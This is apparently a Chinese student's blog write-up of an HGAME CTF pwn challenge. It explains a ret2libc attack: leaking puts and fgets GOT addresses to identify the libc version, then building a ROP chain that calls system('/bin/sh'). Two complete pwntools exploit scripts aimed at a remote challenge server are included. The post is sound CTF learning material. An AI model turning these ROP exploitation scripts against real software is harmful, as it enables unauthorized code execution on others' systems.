hgame-pwn-handsomeariis笔记

在week1之后就没有做过pwn题了,作为一个向bin方向学习的菜鸡,怎么能不玩玩pwn,所以就趁这几天还比较空闲,来学一学hgame中的几道pwn题

程序本身的流程比较简单,然后只开了一个nx保护,题目提示ret2libc。看了篇教程,大致来做一下。

程序本身没有system函数,但是载入了libc.so.6,可以通过libc.so.6中的system和”/bin/sh”来获取权限

先找到system和/bin/sh的偏移地址,但是每次程序的libc.so.6的基址是不一样的

参考了一下官方wp,发现可以通过把函数的返回值改为main的地址来让程序再走一遍,所以可以在程序的第一遍leak出libc的基地址,然后在第二遍的时候在调用libc.so.6中的system函数

已经载入到程序的libc中的函数有对应的got表,got表对应着实际地址

要leak出基地址,就是随便找一个已经载入程序的libc中的函数,leak出这个函数的地址之后减去这个函数的偏移地址,就得到基地址了

leak的方法就是调用一个puts函数,把fgets的真实地址puts出来,64位下传参的第一个参数是存在rdi中的,所以还要先找到一个pop rdi

找到pop rdi ret的地址
fgets_got的地址

然后我就写了一个看起来像模像样的脚本。但是它出错了,显示segmentation fault

经过我的查询,原来是因为服务器上的libc版本和我的libc的版本不同,版本不同的话函数的地址当然有可能不一样。咨询了一下chip学长之后得知如果可以leak出两个程序的地址的话就可以通过他们的偏移来查询libc的版本,这道题挺宽松的,所以可以查

from pwn import *
from libnum import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
	sh = process('handsomeariis')
	bin = ELF('handsomeariis')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	sh = remote('118.24.3.214',11002)
	bin = ELF('handsomeariis')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec = False)

def z(a=''):
	gdb.attach(sh,a)
	if a == '':
		raw_input()

#z('b* 0x00400736')

sh.recvuntil('Repeat me!\n')
Aris = 'Aris so handsoooome!\x00'
payload = Aris + 'a'*(0x20-len(Aris)) + p64(0)
payload += p64(pop_addr) + p64(bin.got['puts']) + p64(bin.plt['puts']) + p64(pop_addr) + p64(bin.got['fgets']) + p64(bin.plt['puts']) + p64(main_addr)

sh.sendline(payload)
sh.recvuntil('upupuppp!\n')
x = sh.recvuntil('\x7f')
y = x[::-1]
puts_addr = s2n(y)
success("puts_addr->{:#x}".format(puts_addr))
#fgets = libc.sym['fgets']
sh.recvuntil('\n')
x = sh.recvuntil('\x7f')
y = x[::-1]
fgets_addr = s2n(y)
success("fgets_addr->{:#x}".format(fgets_addr))

sh.interactive()

得到puts和fgets的真实地址

然后放到在线查询的网站搜一下就知道了,还能直接知道system函数的偏移地址。但是我不知道怎么找’/bin/sh/’字符串,所以我把这个libc下载了下来,让脚本自己获取地址就好了

最后在后面补上第二轮的payload就完成了

from pwn import *
from libnum import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
	sh = process('handsomeariis')
	bin = ELF('handsomeariis')
	libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')

else:
	sh = remote('118.24.3.214',11002)
	bin = ELF('handsomeariis')
	libc = ELF('./libc6_2.23-0ubuntu11_amd64.so',checksec = False)

def z(a=''):
	gdb.attach(sh,a)
	if a == '':
		raw_input()

#z('b* 0x00400736')

pop_addr = 0x0000000000400873
main_addr = 0x00400735
system_local = libc.sym['system']
puts_local = libc.sym['puts']
bin_sh = next(libc.search('/bin/sh'))

sh.recvuntil('Repeat me!\n')
Aris = 'Aris so handsoooome!\x00'
payload = Aris + 'a'*(0x20-len(Aris)) + p64(0)
payload += p64(pop_addr) + p64(bin.got['puts']) + p64(bin.plt['puts']) + p64(main_addr)

sh.sendline(payload)
sh.recvuntil('upupuppp!\n')
x = sh.recvuntil('\x7f')
y = x[::-1]
puts_addr = s2n(y)
success("puts_addr->{:#x}".format(puts_addr))

libc_base = puts_addr - puts_local
system_addr = libc_base + system_local
bin_addr = libc_base + bin_sh

payload = Aris + 'a'*(0x20-len(Aris)) + p64(0)
payload += p64(pop_addr) + p64(bin_addr) + p64(system_addr)
sh.sendlineafter("Repeat me!\n",payload)

sh.interactive()

最后就能得到flag了

这道题漏洞非常简单明了,但是在实现的时候还是遇到了不少问题,看来还是得多做多学啊XD

说点什么

avatar

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

  Subscribe  
提醒